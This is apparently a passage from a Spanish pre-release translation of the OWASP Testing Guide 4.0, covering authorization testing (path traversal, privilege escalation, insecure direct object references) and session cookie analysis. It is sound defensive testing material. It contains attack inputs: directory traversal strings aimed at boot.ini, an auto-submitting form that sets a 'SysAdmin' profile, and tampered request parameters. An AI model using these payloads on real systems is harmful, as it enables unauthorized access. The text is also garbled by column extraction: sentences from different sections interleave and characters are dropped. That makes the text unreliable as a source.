Referencias Libros Blancos • phpBB Attachment Mod Directory Traversal HTTP POST Injection: archives.neohapsis.com • Windows File Pseudonyms: Pwnage and Poetry: slideshare.net
Cómo probar la autorización La autorización es el concepto de permitir acceso a los recursos, pero sólo a aquellos señalados para utilizarlos. Probar la autorización significa comprender cómo funciona el proceso de autorización y usar esa información para eludir el mecanismo de autorización.
filename = Request. ueryString(“file”); Replace(filename, “/”,”\”); Replace(filename, “..\”,””);
Probar la falla se consigue mediante:
La autorización es un proceso que viene después de una autenticación correcta, por lo que el evaluador verificará este punto después de tener credenciales válidas, asociadas a un conjunto bien definido de roles y privilegios. En este tipo de evaluación, se debe verificar si es posible eludir el esquema de autorización, encontrar una vulnerabilidad de ruta de circulación, o encontrar maneras de aumentar los privilegios asignados al evaluador.
file=....//....//boot.ini Pruebas para eludir el esquema de autorización (OTG-AUTHZ-002) file=....\\....\\boot.ini Resumen file= ..\..\boot.ini
Este tipo de prueba se centra en comprobar cómo se implementó el esquema de autorización para que cada rol o privilegio obtenga acceso a funciones reservadas y recursos.
Herramientas • DotDotPwn - The Directory Traversal Fuzzer: dotdotpwn.sectester.net
Para cada rol específico que el evaluador tiene durante la evaluación, para cada función y solicitud que la aplicación ejecuta durante la fase posterior a la autenticación, es necesario verificar:
• Path Traversal Fuzz Strings (from WFuzz Tool):
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 122
Guia de pruebas 4.0 "Borrador"
• ¿Es posible acceder a ese recurso, incluso si el usuario no está autenticado?
¿Qué sucede si un usuario no administrativo intenta ejecutar esa petición? ¿Se creará el usuario? Si es así, ¿puede utilizar sus privilegios del nuevo usuario?
• ¿Es posible tener acceso a ese recurso después de la desconexión? • ¿Es posible acceder a las funciones y los recursos que deben ser accesibles a un usuario que tiene un rol diferente o un privilegio?
Intente acceder a la aplicación como un usuario administrativo y siga todas las funciones administrativas.
Pruebas para diferente
buscar el acceso a los recursos asignados a un rol
Por ejemplo, analice una aplicación que utiliza un directorio compartido para almacenar archivos PDF temporales para diferentes usuarios. Suponga que documentABC.pdf debe ser accesible sólo por el usuario test1 con roleA. Verifique si el usuario test2 con roleB puede acceder a ese recurso.
• ¿Es posible acceder a funciones administrativas si el evaluador está registrado como un usuario con privilegios estándar? • ¿Es posible utilizar estas funciones administrativas como un usuario con un rol diferente y para quien esa acción debería ser negada?
Herramientas • OWASP WebScarab: OWASP WebScarab Project • OWASP Zed Attack Proxy (ZAP)
Cómo probar Pruebas para buscar el acceso a funciones administrativas Por ejemplo, suponga que la función 'AddUser.jsp' es parte del menú administrativo de la aplicación, y es posible acceder a él al solicitar la siguiente URL:
https://www.example.com/admin/addUser.jsp
Entonces, la siguiente petición HTTP se genera cuando se llama a la función AddUser:
POST /admin/addUser.jsp HTTP/1.1
Host: www.example.com
Pruebas para determinar el escalamiento de privilegios (OTG-AUTHZ003) Resumen Esta sección describe el problema del escalamiento de privilegios de una etapa a otra. Durante esta fase, el evaluador deberá verificar que no es posible para un usuario modificar sus privilegios o roles dentro de la aplicación, de manera que podría permitir ataques de escalada de privilegios.
El escalamiento de privilegios se produce cuando un usuario obtiene acceso a más recursos o funcionalidad que la que normalmente se le permite, y dicha elevación o cambios debían haber sido evitados por la aplicación. Esto es generalmente causado por un defecto en la aplicación. El resultado es que la aplicación realiza las acciones con más privilegios que los que el desarrollador o administrador del sistema querían adjudicar.
[other HTTP headers]
userID=fakeuser&role=3&group=grp001
El grado de escalamiento depende de los privilegios que el atacante está autorizado a poseer y que se pueden obtener en una explotación exitosa. Por ejemplo, un error de programación que permite a un usuario privilegios extras después de la autenticación correcta limita el grado de escalamiento, porque el usuario ya está autorizado a tener algo de privilegios. Asimismo, un atacante remoto que obtiene privilegios de superusuario sin ninguna autenticación presenta un mayor grado de escalamiento.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 123
Guia de pruebas 4.0 "Borrador"
HTTP/1.1 200 OK Generalmente, las personas se refieren al escalamiento vertical cuando es posible tener acceso a recursos en cuentas más privilegiadas (por ejemplo, adquirir privilegios administrativos para la aplicación) y en escalamiento horizontal cuando es posible acceder a los recursos de una cuenta configurada de manera similar (por ejemplo, en una aplicación de banca en línea, al acceder a la información relacionada con un usuario diferente).
Server: Netscape-Enterprise/6.0 Date: Wed, 1 Apr 2006 13:51:20 GMT
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; domain=www.example.com
path=/;
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com Cómo probar
Cache-Control: no-cache
Pruebas de la manipulación del rol/privilegio
Pragma: No-cache
En cada porción de la aplicación donde un usuario puede crear información en la base de datos (por ejemplo, hacer un pago, agregar un contacto o enviar un mensaje), puede recibir información (estado de cuenta, detalles de la orden, etc.), o eliminar la información (salida de usuarios, mensajes, etc.), es necesario grabar dicha funcionalidad. El evaluador debe intentar acceder a tales funciones como otro usuario con el fin de verificar si es posible acceder a una función que no se debe permitir por rol/privilegio del usuario (pero que podría admitirse como otro usuario).
Content-length: 247 Content-Type: text/html Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close <form name=”autoriz” method=”POST” action = “visual.jsp”> <input type=”hidden” name=”profile” value=”SysAdmin”>
Por ejemplo:
<body onload=”document.forms.autoriz.submit()”>
El siguiente POST de HTTP permite que el usuario que pertenece a grp001 acceda a la orden #0001:
POST /admin/addUser.jsp HTTP/1.1
¿Qué pasa si el evaluador modifica el valor de la variable "profile" en "SysAdmin"? ¿Es posible llegar a ser administrador?
Host: www.example.com [other HTTP headers]
userID=fakeuser&role=3&group=grp001 Por ejemplo:
Verifique si un usuario que no pertenece a la grp001 puede modificar el valor de los parámetros 'groupID' y 'orderID' para acceder a esa información privilegiada.
En un entorno donde el servidor envía un mensaje de error contenido como un valor en un parámetro específico en un conjunto de códigos de respuesta, como el siguiente:
Por ejemplo: La siguiente respuesta del servidor muestra un campo oculto en el HTML devuelto al usuario después de una autenticación correcta.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 124
Guia de pruebas 4.0 "Borrador"
@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0` Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar `0`0`0`
el valor de un parámetro para apuntar directamente a un objeto. Tales recursos pueden ser entradas de bases de datos que pertenecen a otros usuarios, archivos en el sistema y más. Esto es causado porque la aplicación toma la información ingresada por el usuario y la utiliza para recuperar un objeto sin realizar las comprobaciones de autorización suficientes.
StateExecToolBar`0`0`0`FlagsToolBar`0
Cómo probar
El servidor le brinda una confianza implícita al usuario. Cree que el usuario responderá con el mensaje anterior al cerrar la sesión
En esta condición, compruebe que no sea posible escalar privilegios mediante la modificación de los valores de parámetros. En este ejemplo particular, modificando el valor de 'PVValid' de '-1' a '0' (no hay condiciones de error), es posible autenticarse como administrador al servidor.
Referencias Libros Blancos • Wikipedia Privilege http://en.wikipedia.org/wiki/Privilege_escalation
Escalation:
Para probar esta vulnerabilidad, el evaluador debe, primero, crear el mapa de todas las ubicaciones en la aplicación donde se utiliza información ingresada por el usuario para hacer referencia a objetos directamente. Por ejemplo, lugares donde se utiliza información ingresada por el usuario para acceder a una fila de la base de datos, un archivo, páginas de aplicación y más. A continuación, el evaluador debe modificar el valor del parámetro utilizado para referenciar los objetos y evaluar si es posible recuperar objetos pertenecientes a otros usuarios o, de lo contrario, omitir la autorización.
La mejor manera de probar las referencias de objeto directo sería tener al menos dos usuarios (a menudo más) para cubrir las funciones y objetos propios de cada uno. Por ejemplo, dos usuarios tienen acceso a diferentes objetos (información de compra, mensajes privados, etc.) y (si procede) usuarios con distintos privilegios (usuarios de administrador) para ver si hay referencias a la funcionalidad de la aplicación. Por tener múltiples usuarios, el evaluador ahorra tiempo de prueba en adivinar los nombres de diferentes objetos ya que él puede intentar tener acceso a objetos que pertenecen a otro usuario.
Tools • OWASP WebScarab: OWASP WebScarab Project
A continuación se muestran varios escenarios típicos para esta vulnerabilidad y los métodos de prueba para cada uno:
• OWASP Zed Attack Proxy (ZAP)
Pruebas de las referencias de objetos directos inseguros (OTG-AUTHZ004)
El valor de un parámetro se utiliza directamente para recuperar un registro de la base de datos Solicitud de muestra:
Resumen Las Referencias de Objetos Directos Inseguros ocurren cuando una aplicación ofrece acceso directo a objetos basados en la información suministrada por el usuario. Como resultado de esta vulnerabilidad, los atacantes pueden omitir la autorización y acceder a recursos en el sistema directamente, por ejemplo, registros de la base de datos o archivos.
Las Referencias de Objetos Directos Inseguros permiten a los atacantes omitir la autorización y acceder a los recursos modificando directamente
http://foo.bar/somepage?invoice=12345
En este caso, el valor del parámetro de la factura se utiliza como un índice en una tabla de facturas en la base de datos. La aplicación toma el valor de
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 125
Guia de pruebas 4.0 "Borrador"
este parámetro y lo utiliza en una consulta a la base de datos. aplicación, entonces, devuelve la información de la factura al usuario.
La
Puesto que el valor de la factura va directamente a la consulta, modificando el valor del parámetro es posible recuperar cualquier objeto de facturas sin importar el usuario al que pertenece la factura.
Para probar este caso, el evaluador debe obtener el identificador de la factura que pertenece a un usuario de prueba diferente (asegurando que no se supone que ve esta información por la lógica del negocio de la aplicación) y luego verificar si es posible acceder a los objetos sin autorización.
El valor de un parámetro se utiliza directamente para realizar una operación en el sistema
http://foo.bar/showImage?img=img00011
En este caso, el valor del parámetro de archivo se utiliza para indicar a la aplicación qué archivo intenta recuperar el usuario. Proporcionando el nombre o identificador de un archivo diferente (por ejemplo file=image00012.jpg), el atacante podrá recuperar objetos pertenecientes a otros usuarios.
Para este caso, el evaluador debe obtener una referencia a la que el usuario no debería poder acceder y tratar de entrar usando el valor de parámetro del archivo. Nota: Esta vulnerabilidad se explota, a menudo, en conjunción con una vulnerabilidad de directorio/ruta de circulación (ver pruebas para Ruta De circulación)
Solicitud de muestra:
http://foo.bar/changepassword?user=someuser
El valor de un parámetro se utiliza directamente para acceder a la funcionalidad de la aplicación solicitud de muestra
http://foo.bar/accessPage?menuitem=12 En este caso, se utiliza el valor del parámetro de usuario para decirle a la aplicación qué usuario debe cambiar la contraseña. En muchos casos, este paso será una parte de un asistente o una operación multi-pasos. En el primer paso, la aplicación enviará una petición que indica que el usuario debe cambiar la contraseña y, en el siguiente paso, el usuario proporcionará una nueva contraseña (sin pedir la contraseña actual).
El parámetro de usuario se utiliza para hacer referencia directamente al objeto del usuario para quien se realizará la operación de cambio de contraseña. Para probar este caso, el evaluador debe intentar proporcionar un nombre de usuario de prueba diferente al que está registrado y comprobar si es posible modificar la contraseña de otro usuario.
El valor de un parámetro se utiliza directamente para recuperar un archivo de recursos del sistema: Solicitud de muestra:
En este caso, el valor del parámetro menuitem se utiliza para indicar a la aplicación qué objeto del menú (y, por lo tanto, qué funcionalidad de la aplicación) está intentando acceder el usuario. Asuma que el usuario está supuestamente restringido y, por lo tanto, tiene enlaces disponibles sólo para acceder al menú 1, 2 y 3. Modificando el valor del parámetro menuitem, es posible eludir la autorización y acceder a la funcionalidad de la aplicación adicional. Para este caso, el evaluador identifica un lugar donde se determina la funcionalidad de la aplicación por referencia a un elemento de menú, crea un mapa de los valores de los elementos del menú a los que el usuario de prueba tiene acceso y luego intenta acceder a otros elementos de menú.
En los ejemplos anteriores, la modificación de un solo parámetro es suficiente. Sin embargo, a veces la referencia de objeto se puede dividir entre más de un parámetro, y la prueba debe ajustarse en consecuencia.
Referencias
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 126
Guia de pruebas 4.0 "Borrador"
OWASP Top 10 2013-A4-Insecure Direct Object References
atacante que es capaz de predecir y falsificar una cookie débil, fácilmente puede secuestrar las sesiones de usuarios legítimos.
Pruebas de la gestión de sesión Uno de los componentes básicos de cualquier aplicación basada en la web es el mecanismo que controla y mantiene el estado de un usuario para interactuar con él. Esto se refiere a aquello como gestión de sesiones y se define como el conjunto de todos los controles que rigen el estado completo de interacción entre un usuario y la aplicación basada en la web. Esto cubre ampliamente cualquier cosa, desde cómo se realiza la autenticación del usuario, a lo que sucede al salir del sistema.
HTTP es un protocolo sin estado, lo que significa que los servidores web responden a solicitudes de clientes sin vincularlos entre sí. Incluso la lógica de la aplicación más simple requiere que múltiples solicitudes de un usuario se asocien entre sí dentro de una "sesión". Esto requiere soluciones de terceros – a través de cualquier middleware estándar y soluciones de servidor web sacadas de la percha (Off The Shelf)(OTS), o con una implementación de un desarrollador hecha a la medida. Los más populares entornos de aplicaciones web, como ASP y PHP, proporcionan a los desarrolladores rutinas de sesión incorporada. Algún tipo de ficha de identificación normalmente se emitirá, y se denominará "Identificador de sesión" o Cookie.
Hay numerosas maneras en que una aplicación web puede interactuar con un usuario. Cada una depende de la naturaleza de los requerimientos del sitio, la seguridad y la disponibilidad de la aplicación. Mientras hayan aceptado las mejores prácticas para desarrollo de aplicaciones, tales como las descritas en la guía de OWASP Construyendo Aplicaciónes Web Seguras, es importante que se considere la seguridad de las aplicaciones en el contexto de las necesidades y expectativas del proveedor.
Pruebas del esquema de gestión de sesión (OTG-SESS-001) Resumen Para evitar la autenticación continua para cada página de un sitio web o servicio, las aplicaciones web implementan diversos mecanismos para almacenar y validar las credenciales durante un intervalo de tiempo determinado. Estos mecanismos se conocen como manejo de sesiones y aunque son importantes para aumentar la facilidad del uso de la aplicación y amigables con el usuario, pueden ser aprovechados por un evaluador de penetración para obtener acceso a una cuenta de usuario, sin necesidad de proporcionar las credenciales correctas.
Las cookies se utilizan para implementar la gestión de la sesión y se describen en detalle en el RFC 2965. En resumen, cuando un usuario accede a una aplicación que necesita hacer seguimiento de las acciones y la identidad de ese usuario a través de múltiples peticiones, una cookie (o cookies) son generadas por el servidor y enviadas al cliente. El cliente enviará la cookie al servidor en todas las conexiones siguientes hasta que esta expire o se destruya. Los datos almacenados en la cookie pueden proporcionar al servidor un gran abanico de información sobre quién es el usuario, qué acciones ha realizado hasta ahora, cuáles son sus preferencias, etc.; por lo tanto, le da un estado a un protocolo sin estado como es HTTP.
Un ejemplo típico es proporcionado por un carrito de compras en línea. Durante toda la sesión de un usuario, la aplicación debe hacer un seguimiento de su identidad, su perfil, los productos que ha elegido para comprar, la cantidad, los precios individuales, descuentos, etc.. Las cookies son una manera eficiente de almacenar y transmitir esta información una y otra vez (otros métodos son parámetros de URL y campos ocultos).
Debido a la importancia de los datos que almacenan, las cookies son vitales para la seguridad general de la aplicación. Poder manipular las cookies puede resultar en un secuestro de las sesiones de usuarios legítimos, obtener mayores privilegios en una sesión activa y, en general, influir en las operaciones de la aplicación de una manera no autorizada.
En esta prueba, el evaluador podrá comprobar si las cookies emitidas a los clientes pueden resistirse a una amplia gama de ataques dirigidos a interferir con las sesiones de usuarios legítimos y con la propia aplicación. El objetivo general es ser capaces de falsificar una cookie que sea considerada válida por la aplicación y que proporcione algún tipo de acceso no autorizado (secuestro de sesión, escalada de privilegios,...).
Generalmente, los pasos principales del patrón de ataque son los siguientes:
• Recolección de cookies: recolectar un número suficiente de muestras de cookies. • Ingeniería inversa de cookies: análisis del algoritmo de generación de cookies.
En esta prueba, el evaluador debe comprobar que las cookies y otras fichas de sesión se crean de una manera segura e impredecible. Un
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 127
Guia de pruebas 4.0 "Borrador"
• Manipulación de cookies: falsificar una cookie válida para llevar a cabo el ataque. Este último paso podría requerir un gran número de intentos, dependiendo de cómo la cookie haya sido creada (ataque de fuerza bruta de cookie).
Otro patrón de ataque consiste en desbordar una cookie. Estrictamente hablando, este ataque tiene una naturaleza diferente, ya que aquí los evaluadores no intentan recrear una cookie perfectamente válida. En cambio, el objetivo es desbordar un área de memoria, interfiriendo así con el comportamiento correcto de la aplicación y posiblemente inyectando (y ejecutando remotamente) un código malicioso.
Navegue por la aplicación. Note cuándo se crean las cookies. Haga una lista de las cookies recibidas, la página que las establece (con la directiva set-cookie), el dominio para el cual son válidas, su valor y sus características.
¿• ué partes de la aplicación generan o modifican la cookie?
Navegando por la aplicación, encuentre qué cookies se mantienen constantes y cuáles se han modificado.
Cómo probar ¿Qué eventos modificaron la cookie? Prueba de Caja Negra y ejemplos Toda interacción entre el cliente y la aplicación debe ser probada, al menos contra los siguientes criterios:
• ¿ ué partes de la aplicación requiere esta cookie para ser accesible y utilizarla?
• ¿Están todas las directivas Set-Cookie etiquetadas como seguras? • ¿Cualquier operación de cookie se lleva a cabo en un transporte no encriptado?
Averigue qué partes de la aplicación necesitan una cookie. Acceda a una página, inténtelo de nuevo sin la cookie, o con un valor modificado de ella. Trate de crear un mapa para las cookies que se utilizan.
• ¿Puede la cookie ser forzada en un transporte no encriptado? • Si es así, ¿cómo mantiene la aplicación la seguridad? • ¿Hay cookies persistentes?
Una hoja de cálculo que marca cada cookie a las partes correspondientes de la aplicación y la información relacionada puede ser una informacion valiosa obtenida de esta fase.
• ¿ ué tiempos para la caducidad se utilizan en las cookies persistentes y son estos razonables?. • ¿Son las cookies que se esperan sean transitorias configuradas como tal?
Análisis de la sesión
• ¿ ué ajustes HTTP/1.1 Cache-Control se utilizan para proteger las cookies?
Las fichas (tokens) de sesión (cookies, ID de la sesión o campo oculto) deben ser examinadas para asegurar su calidad desde una perspectiva de seguridad. Deben ser evaluadas según criterios como su aleatoriedad, singularidad, resistencia al análisis estadístico y criptográfico y fuga de información.
• ¿ ué ajustes HTTP/1.0 Cache-Control se utilizan para proteger las cookies?
Colección de cookies El primer paso requerido para manipular una cookie es entender cómo la aplicación crea y gestiona las cookies. Para esta tarea, los evaluadores tienen que intentar contestar las siguientes preguntas:
• ¿Cuántas cookies son utilizadas por la aplicación?
Estructura de los indicadores y fuga de información La primera etapa es examinar la estructura y el contenido de un Identificador de Sesión proporcionada por la aplicación. Un error común es incluir datos específicos en el indicador, en lugar de emitir un valor genérico y hacer referencia a datos reales en el lado del servidor.
Si la identidad de sesión es texto visible, la estructura y los datos pertinentes pueden ser inmediatamente evidentes, como a continuación:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 128
Guia de pruebas 4.0 "Borrador"
http://foo.bar/showImage?img=img00011
Si parte de o toda la ficha parece estar en código o hash, se debe comparar con distintas técnicas para verificar la ofuscación obvia. Por ejemplo, la cadena "192.168.100.1:owaspuser:password:15:58" está representada en Hexadecimal, Base64 y con un hash MD5:
Hex
Base64
Si se identifican elementos estáticos en las fichas, más muestras deben recogerse, variando un elemento de entrada potencial a la vez. Por ejemplo, intentos de registro a través de una cuenta de usuario diferente o desde una dirección IP diferente pueden producir una variación en la parte anteriormente estática de la ficha de la sesión.
Las siguientes áreas deberían ser analizadas durante la prueba de estructura de una o varias Identificadores de sesión:
3139322E3136382E3130302E313A6F77617370757
• ¿ ué partes del identificador de sesión son estáticas?
365723A70617373776F72643A31353A3538
• ¿ ué información confidencial en texto claro se almacena en el identificador de sesión? Por ejemplo, nombres de usuario/UID, direcciones IP.
MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6c • ¿ ue información confidencial fácilmente decodificable se almacena? GFzc3dvcmQ6MTU6NTg=
MD5
01c2fc4f0a817afd8366689bd29dd40a
• ¿ ué información puede deducirse de la estructura del identificador de sesión? • ¿ ué partes del identificador de sesión son estáticas para las mismas condiciones de registro?
Una vez identificado el tipo de ofuscación, es posible descifrar los datos originales. En la mayoría de los casos, sin embargo, esto es improbable. De todas formas, puede ser útil enumerar la codificación en el sitio desde el formato del mensaje. Además, si se deduce la técnica del formato y de la ofuscación, podrían realizarse ataques de fuerza bruta automatizados.
• ¿ ué patrones obvios están presentes en el identificador de sesión como un todo o en porciones individuales?
Previsibilidad y aleatoriedad del identificador de sesión
Las fichas hibridas pueden incluir información como dirección IP o ID de usuario junto con una porción codificada, como los siguientes:
owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412
Tras haber analizado una ficha de sesión individual, debe examinarse la muestra representativa. Un análisis simple de las fichas debe revelar inmediatamente cualquier patrón obvio. Por ejemplo, un token de 32 bits puede incluir un token de 16 bits de datos estáticos y uno de 16 bits de datos variables. Esto puede indicar que los primeros 16 bits representan un atributo fijo del usuario – por ejemplo, el nombre de usuario o dirección IP. Si el segundo campo de 16 bits se incrementa a un ritmo regular, esto puede indicar un elemento secuencial o incluso basado en el tiempo a la generación de la ficha. Vea ejemplos.
El análisis de las zonas variables (si las hay) del identificador de sesión deberían realizarse para establecer la existencia de cualquier patrón reconocible o predecible. Estos análisis pueden ser realizados manualmente y con herramientas diseñadas a la medida u OTS estadísticas o de criptoanálisis para deducir cualquier patrón en el contenido del identificador de sesión. Los controles manuales deberían incluir comparaciones del identificador de sesión emitidas con las mismas condiciones del inicio de sesión; por ejemplo, el mismo nombre de usuario, contraseña y dirección IP.
El tiempo es un factor importante que también debe ser controlado. Un alto número de conexiones simultáneas deben realizarse con el fin de recoger las muestras en la misma ventana de tiempo y mantener esa variable constante. Incluso una cuantización de 50ms o menor puede ser demasiado amplia, y una muestra tomada de esta manera puede revelar componentes basados en el tiempo que de otra manera se pasarían por alto.
Los elementos variables deben ser analizados en el tiempo para determinar si son incrementales por naturaleza. Donde son incrementales, los patrones en relación al tiempo transcurrido, sea
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 129
Guia de pruebas 4.0 "Borrador"
absoluto o relativo, deben ser investigados. Muchos sistemas utilizan al tiempo como una semilla para sus elementos seudoaleatorios. Donde los patrones son aparentemente al azar, hashes unidireccionales de tiempo u otras variaciones ambientales deben considerarse como una posibilidad. Típicamente, el resultado de un hash criptográfico es un número decimal o hexadecimal, así que, debe ser identificable.
En el análisis de secuencias del identificador de sesión, patrones o ciclos, elementos estáticos y las dependencias del cliente, todo debe considerarse como posibles elementos que aporten a la estructura y función de la aplicación.
• ¿Son los identificadores de sesión probadamente al azar en su naturaleza? ¿Se pueden reproducir los valores resultantes? • ¿Las mismas condiciones de entrada producen el mismo ID en una ejecución posterior? • ¿Son los identificadores de sesión probadamente resistentes a las estadísticas o el criptoanálisis?
sesión). Para hacer una cookie impredecible, pueden utilizarse valores aleatorios o criptografía.
[2] Resistencia a la manipulación: una cookie debe resistir los intentos maliciosos de modificación. Si el evaluador recibe una cookie como IsAdmin = No, es trivial modificarla para obtener derechos administrativos, a menos que la aplicación realice una doble revisión (por ejemplo, agregando a la cookie un hash cifrado de su valor).
[3] Vencimiento: una cookie crítica debe ser válida sólo para un período de tiempo adecuado y debe ser eliminada del disco o memoria para evitar el riesgo de ser reproducida. Esto no aplica a las cookies que almacenan los datos no críticos que necesitan ser recordados a través de sesiones (por ejemplo, el sitio look-and-feel).
[4] Marcador "seguro": una cookie cuyo valor es crítico para la integridad de la sesión debe tener esta opción habilitada para permitir su transmisión en un canal cifrado y así impedir su obtención por casualidad.
• ¿Qué elementos de los identificadores de sesión están vinculados al tiempo? • ¿Qué porciones de los identificadores de sesión son predecibles? • ¿Puede deducirse el siguiente ID, dado el conocimiento pleno del algoritmo de generación y ID anteriores?
El enfoque aquí es recoger un número suficiente de instancias de una cookie y empezar a buscar patrones en su valor. El significado exacto de "suficiente" puede variar de un puñado de muestras si el método de generación de galletas es muy fácil de romper, a varios miles si el evaluador debe realizar algunos análisis matemáticos (por ejemplo, atractores chi-square. Vea más adelante para mayor información).
Ingeniería inversa de Cookies Ahora que el evaluador ha enumerado las cookies y tiene una idea general de su uso, es el momento de echar un vistazo más profundo a las cookies que parecen interesantes. ¿Qué cookies interesan al evaluador? Una cookie, con el fin de proporcionar un método seguro de administración de sesiones, debe combinar varias características, que tienen como objetivo proteger la cookie de una clase diferente de ataques.
Estas características se resumen a continuación:
[1] Imprevisibilidad: una cookie debe contener cierta cantidad de datos dificiles de adivinar. Mientras más difícil sea falsificar una cookie válida, más difícil será entrar en la sesión de un usuario legítimo. Si un atacante puede adivinar la cookie utilizada en una sesión activa de un usuario legítimo, podrán suplantar totalmente a ese usuario (secuestro de
Es importante prestar especial atención al flujo de trabajo de la aplicación, cómo el estado de una sesión puede tener un impacto pesado en cookies recogidas. Una cookie recogida antes de ser autenticada puede ser muy diferente de una cookie obtenida después de la autenticación.
Otro aspecto a tener en cuenta es el tiempo. Siempre anote el tiempo exacto cuando se ha obtenido una cookie, cuando existe la posibilidad de que el tiempo juegue un papel en el valor de la misma (el servidor podría utilizar un sello de tiempo como parte del valor de la cookie).
El tiempo registrado podría ser la hora local o la marca de tiempo del servidor incluido en la respuesta HTTP (o ambos).
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 130
Guia de pruebas 4.0 "Borrador"
Al analizar los valores recogidos, el evaluador debe intentar averiguar todas las variables que podrían influir en el valor de la cookie e intentar cambiarlos uno a la vez. Ver las nuevas versiones de la misma cookie modificadas por el servidor puede ser muy útil para entender cómo la aplicación lee y procesa la cookie.
0123456789abcdef
Ejemplos de controles que pueden realizarse en esta etapa incluyen: Ataques de fuerza bruta
• ¿Qué caracteres se utilizan en la cookie? ¿Tiene la cookie un valor numérico?, ¿alfanumérico?, ¿hexadecimal? ¿Qué sucede si el evaluador inserta en una cookie caracteres que no pertenecen o no se esperan en el conjunto? • ¿Está la cookie compuesta de diferentes subpartes que llevan diferentes piezas de información? ¿Cómo se separan las diferentes partes?, ¿con que delimitadores? Algunas partes de la cookie podrían tener una variación mayor, otras pueden ser constantes, otras podrían suponer sólo un conjunto limitado de valores. Romper las cookies a sus componentes base es el primer paso y el más fundamental de todos.
Un ejemplo de una cookie estructurada fácil de ubicar es el siguiente:
Los ataques de fuerza bruta inevitablemente nacen de las preguntas relativas a la predictibilidad y aleatoriedad.
La varianza dentro de los identificadores de sesión debe ser considerada junto con la duración y tiempos de espera de la sesión de la aplicación. Si la variación dentro de los identificadores de sesión es relativamente pequeña, y la validez del identificador de sesión es larga, la probabilidad de un ataque de fuerza bruta exitoso es mucho mayor.
Un identificador de sesión largo (o más bien uno con una gran cantidad de varianza) y un período de validez más corto, haria mucho más difícil tener éxito en un ataque de fuerza bruta.
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=11205145 21:S=j3am5KzC4v01ba3q
• ¿Cuánto tiempo tomaría un ataque de fuerza bruta en todos los posibles identificadores de sesión? • ¿Es el espacio del identificador de sesión lo suficientemente grande para evitar un ataque de fuerza bruta? ¿Por ejemplo, la longitud de la clave es suficiente en comparación con el tiempo de vida útil?
Este ejemplo muestra cinco campos diferentes, que llevan diferentes tipos de información:
• ¿El retraso entre los intentos de conexión con diferentes identificadores de sesión mitigan el riesgo de este ataque?
ID – hexadecimal Pruebas de Caja Gris CR – entero pequeño TM y LM – entero grande ( y curiosamente tienen el mismo valor. Vale la pena ver lo que ocurre al modificar uno de ellos).
Si el evaluador tiene acceso al esquema de gestión de sesión de la aplicación, puede comprobar lo siguiente:
S – alfanumérico • Sesión con una ficha al azar
Incluso cuando no se utilizan caracteres delimitadores, tener suficientes muestras puede ayudar. Como ejemplo, echemos un vistazo a la serie siguiente:
El identificador de sesión o cookie emitido al cliente no debe ser fácilmente predecible (no utilice algoritmos lineales basados en variables predecibles como la dirección IP del cliente). Se recomienda el uso de algoritmos criptográficos con longitud de clave de 256 bits (como AES).
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 131
Guia de pruebas 4.0 "Borrador"
• Longitud de la ficha
• Correlation Coefficient: mathworld.wolfram.com
El identificador de sesión debe tener una longitud de al menos 50 caracteres.
• Darrin Barrall: “Automated Cookie Analysis”: rmccurdy.com • ENT: fourmilab.ch • seclists.org
• Duración de la sesión • Gunter Ollmann: “Web Based Session Management” - technicalinfo.net La ficha de sesión debe tener una duración definida (que depende de la criticidad de los datos de la aplicación administrada).
• Matteo Meucci:”MMS Spoofing”: owasp.org
• Configuración de cookies:
Videos
• non-persistent: solo en memoria RAM
• Session Hijacking in Webgoat Lesson: yehg.net
• secure (configure solo en canal HTTPS): Set Cookie: cookie=data; path=/; domain=.aaa.it; secure • HTTPOnly (no legible mediante un script): Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly
Mas información aquí: Probando los atributos de las cookies
Actividades de seguridad relacionadas Descripción de las vulnerabilidades en la gestión de sesión Vea los artículos sobre vulnerabilidades en la gestión de la sesión OWASP.
Descripción de las defensas de la gestión de sesión Vea los artículos sobre las defensas de la gestión de sesión de OWASP.
Herramientas • OWASP Zed Attack Proxy Project (ZAP): owasp.org - features a session token analysis mechanism. • Burp Sequencer: portswigger.net
Cómo evitar las vulnerabilidades de la gestión de sesión Vea los artículos sobre cómo evitar las vulnerabilidades de la gestión de sesión de OWASP.
• Foundstone CookieDigger: mcafee.com • YEHG’s JHijack: owasp.org
Cómo revisar el código en busca de vulnerabilidades en la gestión de sesión Vea los artículos sobre cómo revisar el código en busca de vulnerabilidades en la gestión de sesión OWASP.
Referencias Libros Blancos Pruebas de los atributos de las cookies (OTG-SESS-002) • RFC 2965 “HTTP State Management Mechanism” Resumen • RFC 1750 “Randomness Recommendations for Security” • Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis” (2001): lcamtuf.coredump.cx • Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later” (2002): lcamtuf.coredump.cx
Las cookies son a menudo un vector de ataque clave para usuarios maliciosos (normalmente dirigidas hacia otros usuarios) y la aplicación siempre debe tomar las debidas diligencias para proteger las cookies. Esta sección examina cómo una aplicación puede tomar las precauciones necesarias al asignar las cookies y cómo se prueba que estos atributos se han configurado correctamente.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 132
Guia de pruebas 4.0 "Borrador"
